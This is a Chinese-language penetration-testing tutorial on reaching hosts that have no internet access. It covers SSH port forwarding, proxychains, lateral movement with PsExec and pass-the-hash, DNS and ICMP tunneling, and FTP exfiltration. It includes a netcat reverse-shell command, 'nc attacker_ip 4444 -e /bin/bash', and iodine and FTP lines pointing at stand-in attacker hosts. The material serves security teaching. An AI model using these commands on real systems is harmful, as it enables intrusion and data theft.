当目标主机无法直接访问互联网时(即“目标主机不出网”),渗透测试的难度会增加,因为攻击者无法通过通常的外部资源(如命令与控制服务器、远程主机)与目标通信。然而,有多种技术可以帮助渗透测试人员绕过这些限制,继续进行信息收集、横向移动或数据渗出。下面详细解释一些常用的应对策略:
1. 端口转发(Port Forwarding)
端口转发可以让我们通过中间主机将特定流量转发到目标主机或从目标主机引导流量到外部网络。
-
本地端口转发(Local Port Forwarding): 攻击者将目标主机的某些服务通过中间主机转发到攻击者的本地端口,这样攻击者可以像在本地访问这些服务一样。
- 攻击机:Windwos 10
- 目标主机:Kali;IP:192.168.241.128
- 示例:通过SSH端口转发,访问目标内网中的数据库服务器。
- 命令示例:
ssh -L 8080:target_internal_host:80 user@jump_host
- 这将目标主机的80端口转发到攻击者本地的8080端口。
- target_internal_host:目标主机
- jump_host:中间主机,即控制后做的代理主机
-
远程端口转发(Remote Port Forwarding): 目标主机无法主动访问外部网络时,可以通过目标主机将流量反向转发到攻击者的主机。
- 目标主机:Kali,IP:192.168.241.133
- 攻击机:IP:192.168.241.128
- 示例:当目标主机无法直接访问互联网,但攻击者主机可以通过目标主机来转发请求。这个命令需在目标机器上执行。
- 命令示例:
这将攻击者的8080端口转发给目标主机,使得目标主机可以通过攻击者的端口访问外部。ssh -R 8080:localhost:80 user@attacker_machine
- localhost:靶机IP
- attacker_machine:攻击机IP
- 举例:
在目标靶机上执行 -
ssh -R 8080:192.168.241.133:80 root@192.168.241.128
在攻击机上查看转发结果,可以看到目标服务已经转发过来。
2. 代理隧道(Proxy Tunnel)
在内网环境中,如果有其他主机可以访问外部网络,可以利用这些主机作为代理。
- Socks代理:使用工具如
proxychains
,通过代理服务器将流量转发出去,代理可以是一个跳板机或其他可以出网的设备。 - 工具示例:Metasploit中的
Socks Proxy
功能,或proxychains
工具。- 命令示例:
这将通过代理进行内网主机扫描。proxychains nmap -sT -Pn internal_host
- internal_host:内部主机
- 命令示例:
3. 内网横向移动
如果目标主机不出网,可以通过内网横向移动寻找其他可以出网的主机,或者继续扩展对内网的控制。
- 方法:利用内网中存在的弱口令、未修补漏洞、或者域账户特权获取其他内网主机的访问权限。
- 工具:
PsExec
(远程执行命令)、Pass-the-Hash
(使用已获取的哈希直接认证)、BloodHound
(AD环境中的权限路径分析)。 - 示例:
psexec.py administrator@target_machine
target_machine:目标机器
4. DNS隧道(DNS Tunneling)
即使HTTP、HTTPS等流量被阻止,DNS流量通常不会被完全拦截。可以利用DNS隧道在DNS请求中嵌入数据,实现外部通信。
- 原理:通过不断发送DNS查询,将数据编码在域名中,远程服务器解码查询内容,从而实现双向通信。
- 工具:
iodine
、dnscat2
。 - 示例:
- 攻击者在外部服务器上设置DNS隧道服务:
iodine -f dns.attacker.com
- 目标主机通过DNS隧道向外部服务器发送数据。
- 攻击者在外部服务器上设置DNS隧道服务:
5. ICMP 隧道(ICMP Tunneling)
在某些情况下,即使TCP/UDP流量被封锁,ICMP(如Ping)可能仍然可用。可以利用ICMP流量进行数据传输。
- 原理:将数据嵌入ICMP Echo请求和应答中,绕过防火墙。
- 工具:
Ptunnel
、icmpsh
。 - 示例:
- 在攻击者机器上启动
icmpsh
,在目标主机上连接攻击者的ICMP隧道,完成数据传输。
- 在攻击者机器上启动
6. 反向Shell和反向隧道
如果目标主机不能主动访问互联网,可以利用反向Shell或反向隧道,由目标主机主动发起连接。
- 反向Shell:通过让目标主机发起连接到攻击者主机,建立回连。
- 工具:
Netcat
、Metasploit
。 - 命令示例:
在攻击机上: -
目标主机上:nc -lvnp 4444
这样攻击者可以获得目标主机的Shell权限。nc attacker_ip 4444 -e /bin/bash
7. 物理访问和离线攻击
如果完全无法通过网络进行操作,而有机会接触目标主机的物理设备,可以使用物理手段进行攻击。
- 方法:利用USB设备(如BadUSB、Rubber Ducky)将恶意代码植入目标主机,或通过离线数据提取的方式获取重要信息。
- 示例:
- 使用USB存储器传递攻击工具,或者在目标主机上执行恶意脚本。
8. 邮件、FTP或其他协议出网
某些内网环境可能封锁了常规的HTTP/HTTPS访问,但仍然允许其他协议(如邮件、FTP)进行外部通信。
- 邮件:可以通过SMTP协议发送电子邮件将数据发出。
- FTP:使用FTP上传或下载文件。
- 示例:
- 在内网中利用FTP进行文件上传:
ftp attacker_server
- 上传目标系统的敏感数据。
- attacker_server:攻击服务器
- 在内网中利用FTP进行文件上传:
9. 利用内网服务
检查目标主机是否有内网的特定服务,如数据库服务、文件共享服务等,可以通过这些服务找到绕过网络限制的途径。
- 数据库隧道:例如,内网中某些数据库可能可以与外部主机通信,渗透测试人员可以通过此路径进行数据渗出。
- SMB隧道:利用内网文件共享服务,提取数据并通过外部工具传输。
总结:
- 端口转发和代理隧道是通过已有的主机或服务绕过网络限制。
- DNS/ICMP隧道和反向Shell则是通过隧道技术创建间接的通信通道。
- 内网横向移动和物理攻击可以帮助我们扩展攻击面,找到新的出网路径或通过物理手段窃取数据。